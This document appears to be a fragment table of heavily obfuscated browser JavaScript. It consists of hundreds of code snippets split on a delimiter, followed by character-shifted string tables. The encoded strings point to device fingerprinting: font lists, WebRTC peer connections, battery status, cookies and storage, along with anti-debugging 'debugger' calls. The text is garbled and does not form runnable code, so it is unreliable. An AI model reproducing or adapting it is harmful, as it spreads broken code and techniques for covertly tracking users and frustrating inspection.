ÿ[311]](ÿ<=39){ÿ(20)+ÿ];if((ÿ.x==ÿ+\':\'+ÿ[365],ÿ[1]);}else if(ÿ(70,\"==\");}default:return ÿ(0,\"\",0,0,0,true));}function ÿ(146,134217728,36);ÿ[154])));}catch(ÿ=3337565984;for(ÿ));}return ÿ-- ;ÿ>>4)];ÿ/( ++ÿ[243];}var ÿ(){if(this.ÿ[1]);}return ÿ&15)<<4;ÿ=\'/\';var ÿdebugger;ÿ(28));ÿ.length/16)+1,ÿ(85));break;case 58:if(ÿ);}return new ÿ[688]in ÿ,\';\')!== -1)ÿ)));continue;}if(ÿ[247]](ÿ]()*ÿ[606]));ÿ[491]]();ÿ]&2)===2;return ÿ[297],\"for\",\"do\",ÿ[78]){return ÿ[69]](true);ÿ(\'a\',\'b\',\'c\',ÿ[126]);if(ÿ[49],\'img\',\'src\',ÿ[38]]!=null&&(ÿ[662],ÿ+1]&0x3F)<<6)|(ÿ[65],\"\");return;}}else if(ÿ(arguments[0]);}}function ÿ]^=(ÿ/1000)]);ÿ.length==0)return ÿ();case 43:ÿ(4096,ÿ>>>1)):(ÿ?6:7;ÿ+1));}}function ÿ(82,\":\");case 59:ÿ=1;}}if(( !ÿ.push){if(this.ÿ===true){return ÿ&0x0F)<<12)|((ÿ%64;var ÿ],16);if(ÿ[241]],ÿ+\"=\");}ÿ[34]](this.ÿ[63],1024*1024);}catch(ÿ[259]].length>=1){ÿ&255^99;ÿ[350]))||ÿ!==\'\'){if(ÿ();break;case 67:if(ÿ[59]]){ÿ.length>1){return(ÿ+=-19;ÿ(\'div\',\'a\',0);if(ÿ(\"/\");}function ÿ[512]]&& !ÿ=1;}ÿ[55],ÿ>>ÿ[0]]);else if(ÿ(585);ÿ= -1;if(ÿ[242]]=ÿ[157]],ÿ[97]]);}function ÿ);}else{var ÿ[0]){if(ÿ*3/4));var ÿ(\'=2){var ÿ|=1;ÿ[206]](ÿ(),null):ÿ[80])!= -1){ÿ[41]]){ÿ[720];}}ÿ=\"$_\"+this.ÿ=0;for(ÿ));}else{ÿ[0]){return;}ÿ[171]);}}function ÿ(144,24);}else if(ÿ[481])===0){var ÿ[6]](\'?\',0);for(ÿ(9)));}function ÿ[72]&& !(ÿ[8]].submit[ÿ<4*ÿ[0]=(ÿ,\" \");if(ÿ[118]]){try{ÿ;}try{if( typeof ÿ){case 34:case 39:return ÿ++ );}while((ÿ[211],ÿ){return false;}}ÿ].join(\'\');if(ÿ(70,\"!==\");default:return ÿ,0);if( !ÿ(634,ÿ-3]^ÿ[275],ÿ[69]](0);ÿ(11)+37;}function ÿ[684]], !1,0,0);ÿ[482]);if(this.ÿ[62]]);}}}}var ÿ[646]));}}function ÿ[63]]);var ÿ=unescape,ÿ[367]]=ÿ[288]));ÿ(\"?\");this.ÿ);while(null!=(ÿ[32]]!==1|| !ÿ]=\'c[\'+ÿ,true);}else if(ÿ[0][1]){ÿ+\'=\';var ÿ===81?null:ÿ&255];if(ÿ(531);ÿ[36]];var ÿ[22];var ÿ[368]];ÿ(666);ÿ];}}catch(ÿ]>=64){this.ÿ);break;case 56:ÿ[122]);ÿ[65]&&ÿ.join(\'\');}ÿ|=256;ÿ[428]);if(this.ÿ[143],\"new\",ÿ(146,134217728,31);ÿ[691]];var ÿ^( -1))>>>0;}function ÿ;}break;default:break;}ÿ[314]],ÿ===83||ÿ;case 47:ÿ[60]])&&( typeof ÿ[644]].length;ÿ===93){ÿ);break;case 66:if(ÿ++ ;}}}return ÿ];return[ÿ=\"\";}}function ÿ&0xFF;ÿ[5];ÿ+=-114;ÿ(60,\"~\");case 40:ÿ[302]](1));}function ÿ(146,134217728,39);ÿ[519]];ÿ[92]](\"div\");ÿ))){if(ÿ[556];ÿ+1)/2);ÿ===79&&ÿ[442]];var ÿ();case\"*\":ÿ.y)/(ÿ];return ÿ[643]]=ÿ[156]];this[ÿ[287]]))){return;}ÿ(){ ++ÿ[650]){if(ÿ[180];ÿ+1:ÿ[60]],ÿ[1]^ÿ[48];ÿ){return[true,ÿ===84)break;var ÿ();case 33:ÿ===\'img\'||ÿ],0);ÿ+2);ÿ[22]]===ÿ[685]+ÿ)[0],\'?\')[0];}else{ÿ+=1){ÿ[645];var ÿ=/^((?:[\\da-f]{1,4}(?::|)){0,8})(::)?((?:[\\da-f]{1,4}(?::|)){0,8})$/;ÿ.length%16!==0)ÿ&0xf0)===0xe0)return((ÿ[432]]){ÿ;else ÿ;}}else{return ÿ<=91)ÿ[658]],ÿ=0;}}function ÿ[24],ÿ[64]].x=1,ÿ(146,134217728,37);ÿ[599]](ÿ[63],ÿ=32;ÿ[96],ÿ[33]]=ÿ<0xE0;ÿ[650],ÿ(false,false));;ÿ[631],ÿ&2048;if(ÿ]= -1;}for(ÿ[46]]=0;ÿ[7]&&(ÿ<=255;ÿ[3]],\'#\')[1];if(ÿ[23]];var ÿ=[\'top\',ÿ[327]]===\'\';ÿ[168],ÿ[572],ÿ.join(\'&\');}else{return ÿ/1.164+1));var ÿ<0xf8){ÿ,\'.\');ÿ[22]],ÿ+=2){var ÿ[1]);}}else{ÿ=true;}return ÿ=\'//\';var ÿ.length),1);else ÿ=18,ÿ[45]]();ÿ[394]+ÿ[294]](ÿ[387]](ÿ[661]];}catch(ÿ[0]]);ÿ.x&&ÿ);case 40:ÿ[280]],ÿ[205]);ÿ[18]];for(var ÿ=/[\\\\\\\"\\u0000-\\u001f\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g;var ÿ.pop();}}function ÿ[19]){if(ÿ?(new ÿ===true){var ÿ(\"set\");ÿ-1].y);if(ÿ(){return !ÿ[496]);ÿ=window,ÿ[143],\"&\",\"|\",\"^\",\"*\",\">>\",\"<\",\"==\",\"?\",\"&&\",\"||\",\"=\",\"+=\",\"[\",\"{\",\"(\",\",\",\".\",\";\",\":\",\"]\",\"}\",\")\"];var ÿ[227]),ÿ[3]]!==ÿ[477]]=ÿ[517],ÿ[602]]();if( !ÿ[693]](ÿ));}var ÿ;}try{var ÿ[623]])return ÿ[38]]);}else{return;}}return ÿ[160]))){ÿ+=\'&\';}else if(ÿ[71]){return ÿ[3]],\'?\')[0]+ÿ[204]);ÿ(),new ÿ.x)*(ÿ[65]))){return ÿ[3]];}if(ÿ++ )]-5440;}}function ÿ[139]))();ÿ(75,\"|=\");case 124:ÿ(144,22);}else if(ÿ+1)];}function ÿ.length){case 0:return ÿ)){return;}if( !ÿ[35]]===ÿ(768,5);ÿ,\'.\');var ÿ[153]]=ÿ(2048);}var ÿ[65]];}catch(ÿ(0xFFFFFFFF)];}function ÿ=0;try{ÿ-- ;}}else if(ÿ);return false;}ÿ===2)return false;return true;}function ÿ=\"=\";var ÿ[511]),ÿ[474]]=false;}function ÿ!==\'\')ÿ)&0xffffffff;ÿ){return false;}}}return true;}function ÿ)));var ÿ|=512;ÿ[24];if(ÿ[401]]){if( !ÿ())){ÿ[126]);ÿ||0;ÿ=[];if(ÿ[280]](ÿ||0,ÿ[625]],ÿ+1),ÿ[63]],ÿ|(ÿ[571]](\'on\'+ÿ[39]],\";\");var ÿ[671]];ÿ]+this.ÿ:0))/100.0);ÿ>>>8)^ÿ=\'4\';var ÿ[677]);if(ÿ*86*86+ÿ++ ;}for(var ÿ(0));ÿ>4)return ÿ-8]^ÿ[585]+ÿ(144,19);else ÿ===1)){if(ÿ(83,\"]\");case 123:ÿ]);}}else if(ÿ[135],ÿ(46)?(ÿ.length==3){ÿ[494]+ÿ[583])];ÿ(),true);}function ÿ>>>24)&0xFF,(ÿ);break;case 72:if(ÿ())ÿ(58,\"--\");case 61:ÿ[38]]&&ÿ[623]])ÿ[100]];ÿ[9]](0);}}function ÿ[156]],ÿ){}else{if(ÿ(65,\"|\");}case 126:ÿ(\".\");ÿ(\".\"):ÿ[24]];ÿ.length),1);var ÿ==\'+=\'){ÿ<=25){ÿ[24]){var ÿ[585]+(new ÿ[215]];else return ÿ===81)ÿ===false)ÿ,1)+ÿ]]+1;}}for(ÿ;try{ÿ===\'src\'){return(ÿ.length+2*4;ÿ[66]){return ÿ[9]](0, -1));}}catch(ÿ[417],ÿ.log(2)+0.5)|0xE0;ÿ[519]]||ÿ(81,\";\");case 91:ÿ[43]]==0){ÿ.x;ÿ[7]|| typeof ÿ,true);}catch(ÿ|=2097152;ÿ),true);}}if(ÿ[25]],ÿ[1])+\'-\',ÿ[438],\"--\",\"!\",\"~\",\"-\",\"in\",ÿ<60*1000;ÿ[10],\'\');}}catch(ÿ&1;if(ÿ[9]](0,16),ÿ,4);}ÿ.push(0);}while(ÿ[5]){if(ÿ=8,ÿ==\'a\'&&/^href|pathname|search|host|hostname|port|hash|protocol$/[ÿ++ ){try{new ÿ===58||ÿ[285];if(ÿ[717]];ÿ>40&&ÿ[353];if(ÿ[627],ÿ.onreadystatechange[ÿ=64){this.ÿ<=8)){if(ÿ.length==25){ÿ[532]))){ÿ.x:ÿ;return;}if(ÿ[68],ÿ;}for(var ÿ[299]]==200){}}}function ÿ){case ÿ[270]&&ÿ.length*4,ÿ(691);var ÿ=new Array(ÿ[495])&&ÿ[243],ÿ.length<1100;ÿ){try{if( !ÿ[224];for(ÿ;return new ÿ(146,134217728,40);ÿ[470]],ÿ[309],ÿ<7;ÿ+=\'#\'+ÿ[621])!== -1){ÿ,true);return ÿ[1]);}}}if(ÿ[596]]);ÿ[476]]);ÿ===\"-\"||this.ÿ.length>1&&ÿ.length;}else{ÿ+=83;ÿ[9];ÿ[96]);if(ÿ))[0];ÿ[219]];ÿ(32);if(ÿ[64]].length?ÿ)))ÿ.top===ÿ());function ÿ);}else{return;}ÿ<=80){return ÿ[61]){if(ÿ(144,1);if(ÿ[381]]&&((ÿ=[arguments[1],arguments[2],arguments[3]];ÿ&0x3f;ÿ[268])];for(var ÿ[653]),ÿ[542];ÿ-- ;return ÿ<<1)^7;else ÿ();}var ÿ,0)-68;for(var ÿ[633]){if(ÿ&0xf)<<24)|(ÿ[79]|| !ÿ)*65535/(ÿ|=262144;}ÿ*1000,ÿ[14]];if(ÿ[5]++ ;}}for(var ÿ))[ÿ,\'/\'+ÿ,\'&\');for(var ÿ,2);continue;}}ÿ){case 1:return ÿ[569]){ÿ||255;ÿ=\'&\'+ÿ(1)){ÿ[4];var ÿ)===0){return ÿ[388]))){ÿ();try{ÿ+=3;}else if(ÿ.length-1]);ÿ];}var ÿ)/100.0);ÿ(37)){ÿ.length-1];if( typeof ÿ+=2;}else if(ÿ[100]](ÿ[64]];}catch(ÿ[467]];ÿ[130]]||ÿ[389]](ÿ(144,16);}else if(ÿ.length==3){return new ÿ=1001,ÿ[8]].push;;;var ÿ=201,ÿ[677],ÿ[79],\"if\",\"in\",ÿ===1){var ÿ];else return ÿ(13);ÿ[55]){if(ÿ.push((ÿ:\'\';var ÿ<0xfc){ÿ[171]);if( !ÿ[340]&& !(ÿ){return null;}ÿ)|((ÿ?1:ÿ[68]];ÿ.abs,ÿ,0x7FF));ÿ[7]||ÿ[124]){return ÿ(\'a\',\'b\',ÿ/64);}return ÿ[393]]=ÿ[617]);var ÿ(75,\"%=\");default:return ÿ[568]].length;ÿ&0xffffffff,ÿ[183]]){ÿ].x:ÿ[2]++ ;}else if(ÿ;){if(ÿ,\"?\")[1];if( !ÿ].x,ÿ);return this.ÿ||1,ÿ+=\'-\';return ÿ==\'+=\')return ÿ<<=1;}ÿ&8))){ÿ[118]]){ÿ]=126;else ÿ[261],ÿ[636]]=3;ÿ[51]||ÿ){return;}if(ÿ(0x77359400);ÿ[339]))&&ÿ[440]]!==ÿ===84);}function ÿ[2].length>0;ÿ===\"get\"){ÿ[674],ÿ=false;for(var ÿ;case 38:ÿ[32],ÿ(498);ÿ[111]]()));ÿ,0)===\" \"){ÿ[1];}ÿ.length>0){var ÿ[281]]);}ÿ.join(\':\')));ÿ++ <ÿ);return false;}}function ÿ++ :ÿ===\"=\"||this.ÿ>>7)*283)^ÿ[20],arguments.callee);}function ÿ,\';\');if(ÿ++ );}while(48<=ÿ[22]];}else{ÿ++ ,ÿ.length));}}};function ÿ>93&&ÿ(15)-4;}function ÿ(0);}ÿ[32]]===11&& typeof ÿ++ ]^ÿ));}}return ÿ[608]]();}else if(ÿ[221]],ÿ[465]])return 201;return 203;}function ÿ[340]);var ÿ[699]],ÿ===false){var ÿ+2]&0x3F);ÿ[65]){if(ÿ[65]);ÿ[249],ÿ(),(ÿ)){try{var ÿ<8; ++ÿ, ++ÿ[711]]){ÿ>1){for(var ÿ)===true){ÿ[409]](ÿ(25);ÿ){case 1:ÿ[0],unique:false});}function ÿ<=0||ÿ[518]))in ÿ(){return((ÿ=3;return ÿ[445]],ÿ[601]](ÿtry{for(ÿ.safari[ÿ<<24;ÿ===48){ÿ[657]&& !ÿ!==\"js\"){ÿ<=4||ÿ[543],ÿ[38]]);ÿ=encodeURIComponent,ÿ[31]]()));ÿ[698]](ÿ(){return\"\";}function ÿ[334]]=ÿ[491]]=ÿ();case 46:ÿ[131]]=ÿ();for(var ÿ[333],ÿ[2])+ÿ,\'a\')&&(ÿ[26]];var ÿ[167]))||ÿ[366]){if(ÿ[608]]=ÿ===93)ÿ&1)){if( typeof arguments[2]===ÿ=null;}}catch(ÿ(true);ÿ!==79)break;ÿ=\"\";var ÿ===\'=\'&&ÿ[46]]==4){if(ÿ,true));break;case 78:ÿ(31));var ÿ[10]);ÿ];}}}function ÿ.push(0x80);for(ÿ[12];ÿ;}else{return;}}}function ÿ&4)){if(ÿ=1;return ÿ[646]){var ÿ[472]]=ÿ(69,\"<\");}case 61:ÿ++ ;}}return ÿ[225])!== -1||ÿ===null){return;}var ÿ[356],ÿ);}else{return;}}catch(ÿ[7]&&ÿ]&0xFF);}ÿ){case 2:ÿ[44]];if(ÿ[56]];ÿ<9){}else{for(var ÿ[83]){var ÿ,\'y\',ÿ){return 0;}if(ÿ[163]){ÿ++ ;}return ÿ(\'o~q}u`euf3ffdyrgfu`fkbu`xduv`wuf3ffdyrgfu`qsfya~`sq||`efdy~w`bdafafkbu`e|ysu`$_vb~W`eb|ysu`qbb|k`3sfyhuJArzusf`dueg|f`sxqd5atu3f`rgffa~`eu~t`vad}`ratk`}ageu}ahu`xqeAi~Bdabudfk`xaef~q}u`|asqfya~`abu~`eb|yf`euf;~fudhq|`xffbe,`s|ys{`sa~sqf`}ufxat`faEfdy~w`~atuFkbu`adywy~`v|aad`badf`$_~t`:F?>9u~udys7|u}u~f`fqw@q}u`saa{yu`$_8ad}7|u}u~f`hyeyry|yfk`qbbu~t5xy|t`qtt7hu~f>yefu~ud`y~tujut64`esdybf`a~duqtkefqfusxq~wu`uhq|`y~~ud:F?>`hq|gu`7{sB`|asq|Efadqwu`a~egr}yf`arzusf`bdafasa|`sa~fu~f`s|a~u@atu`y~tujAv`qeeyw~`idyfu`tasg}u~f`du}ahu7hu~f>yefu~ud`dag~t`efk|u`$_hh5;`dub|qsu`vg~sfya~`?ysda?ueeu~wud`geud3wu~f`ixy|u`a~s|ys{`y~bgf`suy|`?qfx`xyttu~`fqdwuf`|aqt`}rezmkexsv`~g}rud`sduqfu7|u}u~f`wuf7|u}u~fe4kFqw@q}u`wuf7|u}u~f4k;t`qffqsx7hu~f`$_vxV`s|yu~f6qfq`egr}yf`fy}uEfq}b`va~fe`A~|k a~u hqdyqr|u tus|qdqfya~ q||aiut y~ vadTTy~ |aab`fdq~eyu~f`qdyfk`tyeqr|ut`fkbuav`sxqdeuf`egbud`|u~wfx`#v*X`?ej}|XTJ?>:FFBTYTV`fa6qfqGD>`asd_dtkfigDsddqqmujgnh`qbb|ysqfya~5qsxu`}g|fybqdfUvad}Stqfq`hqd wuf3ffdyrgfu/vg~sfya~N~q}uOmdufgd~ sgd_u|uTwuf3ffdyrgfuN~q}uO-o-`qffdyrgfue`Marzusf 3ddqk]`bgex@afyvysqfya~`hayt`F=_EFD;@9`VVVV`qffdHudfuj`bgr|ys`efabBdabqwqfya~`l_,zcze~ld_VQR_+zxfiyzi9_jzcze~ld9xvcc,zcze~ld`$_vV`xqex`su||g|qd`8EE44`qssu|udqfya~`fdq~evud5xq~~u|`~7hdo5od|hu`fdgu`sduqfuArzusfEfadu`?ej}|XTJ?>:FFBT[TV`du}ahu3ffdyrgfu`b|gwy~e`o__vf{jwf_wjs~ishw6__kwtvf{jwf_wjs~ishw6__gw~wb{ia_wjs~ishw6__xlvf{jwf_wjs~ishw6__vf{jwf_ibkfsddwv6__kwtvf{jwf_ibkfsddwv6__gw~wb{ia_ibkfsddwv6__xlvf{jwf_ibkfsddwv6__kwtvf{jwf_guf{dh_xibu6__kwtvf{jwf_guf{dh_xb`fdkmdufgd~ Niy~tai y~efq~suav Iy~taiO-osqfsxNuOmo`?ej}|XTEudhudJ?>:FFB`sa|ad6ubfx`fWY/ebisbqf~|N3f}bq|k ,|~efkb 4kfNVllig|wwN5boa|k|N[bisbqf~| -brb +3 /ol FH 3efkNq|elj|N+Z 2j|oq_[ qbpq 1bdri|oNW(-/ol@ifdeqN[bisbqf~| +3 GF +fdeq XuqbkabaN[bisb,_(kaf|N2XV1l}lql+fdeq UliaN.1 ,le|kqv 4kf~lab 1bdri|oNWolfa 2|kp 3e|fN*|kk|a| 2|kd|j ,-NWWV 4~ebkN~il~hECDI_sDADN2|jprkd*|kk|a|1bdri|oN,( +T-3(-Z UliaN2|jprkd2|kp-rjF+ +fdeqNsboa|k|N[bisbqf~|-brb3efkN2XVY|ii}|~hN2|jprkdXjlgfN3birdr 2|kd|j ,-NV|oolfp Zlqef~ 2VNYivjb +fdeq 1l}lql +fdeqN2l,T@Wfdfq +fdeqN2l,V 2|kp 1bdri|oN[87f8r|k)NppqNp|jprkd@p|kp@krjG3Ndj_jbkdjbkdN+lefq *|kk|a|Nqfjbp kbt olj|kNp|jprkd@p|kp@krjG+Npbofc@jlklpm|~bN2|jprkd2|kp-rj@F3 3efkNVlilo.24(@73efkNWolfa -|phe 2efcq TiqN2|jprkd3birdr1bdri|oNUbkd|if .32N,( +|k3fkd_ZU .rqpfab 82NY9,f|l6r_ZUDKCFCNebisb@kbrb@obdri|oN223 ,bafrjNVlrofbo -btN*ejbo ,lkarihfof UliaN[bisbqf~| +3 EF 4iqo| +fdeq XuqbkabaN[bisbqf~| +3 EH 4iqo| +fdeqN1l}lql ,bafrjNWolfa 2|kp UliaNdlravNp|kp@pbofc@~lkabkpba@ifdeqN2YfkaboNklql@p|kp@~gh@jbafrjNjfrfN,1l~hv /1V UliaNTkaolfaVil~h 1bdri|oN2|jprkd2|kp-rj@G+ +fdeqNp|kp@pbofc@qefkNT|/|kd8|boN~|pr|iNU- ,le|kqv.3 UliaNu@ppqN-lql2|kp,v|kj|o9|tdvfN[bisbqf~| +3 FF 3efk XuqbkabaNTpeibv2~ofmq,3 TiqN-lql 2|kp Wbs|k|d|of 4(N1l}lql Vlkabkpba UliaN1l}lql ,bafrj (q|if~NjfrfbuN-lql 2|kp Zrojrhef 4(N223 5fbqk|jbpb +fdeqN+Z_.ofv|Nev~lccbbNu@ppq@riqo|ifdeqNWY[bfT6J@TNY9967U3.3_4kf~labNWbs|k|d|of 2|kd|j ,- UliaNp|kp@pbofc@jlklpm|~bN/|a|rh Ullh UliaN+Z@Y98fkdUf*|f2er@2DH@5EAEN+Z@Y98fkdUf*|f2er@2DH@5EAFN[bisbqf~|-brb+3 /ol FH 3eN,f~olplcq [fj|i|v|N2|jprkd2|kpY|ii}|~hN223 ,bafrj (q|if~NTkaolfaXjlgfN2|jprkd2|kp-rj@F1N(3V 2qlkb 2bofcNp|kp@pbofc@pj|ii~|mpNu@ppq@jbafrjN+Z_2fke|ibpbN1l}lql 3efk (q|if~N~bkqrov@dlqef~NVil~hlmf|N+rjfklrp_2|kpNYilofaf|k 2~ofmq TiqN-lql 2|kp Zrojrhef UliaN+3[829* UliaNZ2_3e|fN2|jprkd-bl-rj_F3_ENTo|}f~Ne|kp@p|kp@kloj|iN+lefq 3birdrN[80f[bf@HC2 +fdeqN+fkapbv clo 2|jprkdNT1 Vovpq|iebf WUN2|jprkd 2|kp ,bafrjNp|jprkd@p|kp@krjGHNe|kp@p|kp@}liaN+rjfklrp_2~ofmqN223 VlkabkpbaN2|jprkdWbs|k|d|of1bdri|oNTkg|i ,|i|v|i|j ,-N2|jprkd3e|f;qbpq:FFB`v@p:zm3tww3z}xAzzwM@zrzb:~p`~qfyhu`wq}}q`wufFy}ula~uAvveuf`tqfqeSfe`__a~|aqt__`g5+.h{uan@-U6`zresxu}u,UUcgugu_xqe_}ueeqwu`eufFy}u`yfu}`?76;G?_8>A3F`_r|q~{`v|aqf`#W)u`ujfu~te`v__dpmo}tcp}_~n}t{a_qy`Ducguef`?ej}|XTEudhudJ?>:FFBTYTV`s|yu~f;~vad}qfya~`fxu~`?EBay~fud7hu~f`B|uqeu u~qr|u saa{yu y~ kagd rdaieud ruvadu kag sa~fy~guT`sqbfgduEfqs{Fdqsu`pOrivRtbaSrirRagvewrtv5{vfzba`:F?>Arzusf7|u}u~f`EF3F;5_6D3I`qsae`ujfud~q|`yixxtqki|qwvMbK{pwksai~mKnti{p`dufgd~ ~ui qN`3~q|keud@atu`}al5a~~usfya~`dqtya`EufDucguef:uqtud`DF5Buud5a~~usfya~`a~gbwdqtu~uutut`bqdeu;~f`sq~hqe`15E/`g~uesqbu`- Eusgdu`w|arq|Efadqwu`?ej}|XTJ?>:FFB`p[vr}+zuvb7[vr}+zuvb1g~2 Jtgziv- Lbageb} 1<;6szg2`?ysdaeavfTJ?>:FFBTWTV`sqfsx`Budvad}q~suAreudhud`wuf5a~fujf`tuvqg|fBduhu~fut`avveufFab`sa~fqy~e`tqfq,`$r_b|qfvad}`xffbe,UU`:;9:_;@F`arzusfEfadu@q}ue`fxye`skwjg?43tl4xl_<508<,_`rweag~t`y7wd+xxmizivkm`baeyfya~`sqeu`b6lzqfE[fufdujpo`fagsxu~t`duvduex`$r}8VqJL|D}|HkG:<`bdab`|qef;~tujAv`sq||rqs{`~g||`G~u~s|aeut efdy~wT`t@dvpxCvzrQ@dvpxCvzr`rD~v~f`wuf3ffdyr>asqfya~`uvf`{c\\\\yF\\\\Ctgzo|k iujk\\\\]\\\\yFe`bqdeu`tqfq`$_vd`bqs{qwu`daie`ArzusfT;~zusfutEsdybfTuhq|gqfu`abu~ud`}ageugb`exu~zyq~`turgwwud`ufxud~uf`$_s6da`F7?BAD3DK`mmyvxh}lyh`dub|qsu5xy|t`BAEF`~g};fu}e`sqbfgdu`tasg}u~fSvdqw}u~f`va~f`vydef5xy|t`vda}5xqd5atu`iur{yf;~tujut64`Bay~fud7hu~f`iur{yfDucguef8y|uEkefu}`sxqd3f`tuesdybfya~`pfcz_ybb|vu5~bmJaz~rgzba(greg)z~v5~bmRauvkvuMK5~bm[vdhvfgJaz~rgzbaOer~v`wuf4qffudk`{;?+zrJ;?+zr`qrea|gfu`dueba~euFujf`saa{yu7~qr|ut`mdyjifuhayh8__di8__diMffydx,ynj8ye/yvNhemiyh`vy~q|`bdu|aqt`=ukraqdt`r|gufaafx`sq~su|4grr|u`ujusEsdybf`fdkmdufgd~ __vy|u~q}u-osqfsxNuOmo`hqd sgd_u|u / fxye-`iyfx`x__bnkm{ran{_naju~j}n`efqfge`fa8yjut`tyeb|qk`egrefd`M~g||] ye ~af q~ arzusf`jPzkh+SU=+SU`L*J:<yefu~ud`a~qgfasa}b|ufu`$r_sq||:q~t|ud` edv|j `bdafusfut`}qfsx`wafa`tdqi3ddqke`}utyq6uhysue`s|aeu`iurefadu`iur{yfDF5Buud5a~~usfya~`5ag~f`fujfUzqhqesdybf`qrefdqsf`budvad}q~su`Efadqwu`w$ryyu$L$$vyqqo|L$$v}zL$$v}|lL$rnd$L$|okne/yno-v|okne1doma~on5x@rs}2|kwoL$}nd$L$aso$`|q~wgqwue`$_vr`euf>asq|6uesdybfya~`eagdsu`U,geud_va~fe`F=_@G?47D`esda||`$r_vufsxCgugu`.!SSMyv wf ;7 `zkl}pjlvyplu{h{pvu`bdusyeya~ }utyg}b v|aqf-hqdky~w husX hqdky~Fuj5aadty~qfu-hayt }qy~NO mw|_8dqw5a|ad/husZNhqdky~Fuj5aadty~qfuRVRWO-o`sduqfuBdawdq}`p^\\\\$0r6m]ut_`baef`:F?>7|u}u~f`fujfUxf}|`.!SS`arzusfEfadu`v}xzneO?plw=wlfp} 4S 0zya}zwOR`|y~{Bdawdq}`bdusyeya~`yu{~q{qjqtq|ckpivom`7~fyfk`p~fLevuvagzr}f`cds{|}6a7jfxI@zT)lJ4qE~gVF5(wk_ZLu[tmonp !#$%NOPQRS-/12M]^`g~yvad}Xv`zqhqesdybf,`p*L,vsNkg5htjvs`dub|qsuEfqfu`ha|qfy|u`sduqfu6qfq5xq~~u|`geu efdysf`adywy~q|Fqdwuf`u__ru~qr{f__N_ru~qr{f_@qmpq~;{pq`zqhqesdybf, haytNVO-`G~ujbusfut sxqdqsfud, `m\"abfya~q|\" , M m\"Dfb6qfq5xq~~u|e\" , fdguo ]o`G~fud}y~qfut }g|fy|y~u sa}}u~f`UF)3kFdjaIj9t`Egr}yf`fy}u`dueba~eu`dq~wu?y~`fdy}`sxus{raj`L*J:z`sa~ef`E7>75F hq|gu 8DA? 7{sB_f I:7D7 ~q}u/1`8|aqfYX3ddqk`9ufDueba~eu:uqtud`avveufJ`s#dP^b#:#d{|d{}d{6d{ad{7d{jd{fd{xd{Id{9S9)9l959(929$vjv^v&vPvNvOvoB}AzASA(AwAnA +w+_+Z+2+$+%+&+P+N+O+,+-X}X6XXXrrGrvr)rlr.r0hZhP>f>x>OzGzvzBSXSrS2S%S&S/S.)g)_)ZlvJlJJJgJ_JZJLJuJ[JtJpJ 4c4d4s4S4)4l4J44454w4&(p$a$7$h$>%W%B%A%+%k&mN;N9N>N@NzQyQ:/|/}/2/$/%/0/T/1/U/,.e0tT=TGTiT*T+TXTr1j1f1x1z141q1E1~1g,x,I,<,ym6mWmG#!#d{3d{bd{$d{%d{ d}gd~&d~P}v!}vT}v1}A3}Ab}rG}r?}r9}rw}rk}r_}rZ}rL}hL}hu}>h}z{}z|}zV}Sx}SI}S<}SW}Se}SH})J})4})q})E})~})g})V})F})2})/}).}lv}l]}J|}J}}Jx}JI}Jy}EX}Er}Eh}E>}E@}Ez}ES}E)}EJ}E47fC7e37eb7=b`qffdyrgfu husX qffdHudfuj-hqdky~w husX hqdky~Fuj5aadty~qfu-g~yvad} husX g~yvad}Avveuf-hayt }qy~NOmhqdky~Fuj5aadty~qfu/qffdHudfujQg~yvad}Avveuf-w|_Baeyfya~/husZNqffdHudfujRVRWO-o`raa|uq~`bgexEfqfu`du}ahu;fu}`\\x00`sxqdqsfudEuf`kk{d{fame;{nwdmwl{`kyu|t`dufgd~`rqffudk`vad7qsx`y}b|u}u~fe`uhq|gqfu`|y~u~a`?ej}|XTJ?>:FFBT(TV`F=_D79_7J`wufEgbbadfut7jfu~eya~e`mxebf|}d8xebf|}d}dze8xebf|}dcyju`dwrqNXZVRWWVR[YRVTZO`?ej}|XTJ?>:FFBTZTV`}al;fu}e`s|uqd;~fudhq|`fxdai`q/sq~tytqfu,`$_s{`3radf`sxus{ut`avveuf:uywxf`9ufHqdyqr|u`avveufIytfx`eu|usfut`|qkudJ`tu|ufu`Nuhq|gqfy~w \\\'~g||MV]\\\'O`efq~tq|a~u`esduu~`Duw7jb`s|yu~fK`sxqdwy~w`}ueeqwu`Eu~t`}y}uFkbue`wuf;fu}`Yzu3>uEeq(`sxda}u`va~f8q}y|k`tuvqg|f`uhu~f`wufG~yvad}>asqfya~`NfxyeO-`G~ujbusfut fa{u~ `fdq~eqsfya~`adyu~fqfya~`wufEagdsue`g~tuvy~ut`M~qfyhu satu]`CFB_7B7_:AA=`vufsx`hytua`:F?>3~sxad7|u}u~f`bdbqudib5fgsftiCdbqudib_sfgsftiCdifdl/phjoCefdszquZbmmcbdl`iur{yf5a~~usfya~`iyvy`.7?476 yt/`6A?Bqdeud`;||uwq| ~ui|y~u qvfud 2fxdai`avveufG~yvad}`{uk6ai~`dufgd~Hq|gu`|a~w`sxqdwy~wFy}u`AB7@`etgqg~gjgrwaf}lec`\\\\rM^0]P0NM\\\\e\\\\E]P1O.\\\\U`}ageuAgf`_fe_`sa~fy~gu`iurw|`}ageuGb`u~g}udqfu6uhysue`egrefdy~w`esduu~J`g0a{h.h{uan@0a{h.h{uan:pi; S}pera6 Ukjpnkh :ED?|ep;`|uhu|`.tyh0;7*.Utyh0`$r_eufgb`vy||Efk|u`sq~tytqfu`- bqfx/U`xffb`eiyfsx`s|yu~fJ`puezive`rkfu`u~qr|utB|gwy~`dq~wu?qj`a~ruvadug~|aqt`u~saty~w`bqdu~f`}ageutai~`\\\\\\\\`efqfys`}ageuagf`wufExqtudBdusyeya~8ad}qf`hudfuj3ffdyrBay~fud`z~likyp}lyJl}hs|h{l`3ttEuqdsxBdahytud`efqfgeFujf`dD#d,s{s77+7rjMj]fIfW:BW)Wle_eQe/emeoHxHC=x=T=1=o8g8&?y?:?)?l?1CdCWC9CvCVCFCmCoiii*i9iviAi+iO*%*^*1;j;D;8;N;O9W9e9i9L9u9,vfv9vvvAvXvrvzvSvnAWAlAJAFA5+kXdX{X|rarzrShJ>Q>/@p@!@$@&@P@O@.zxz@zS)lJ4qE~gVF5(wk_ZLu[tp!2$%^&PNOQ/.0T1U,-moM]n 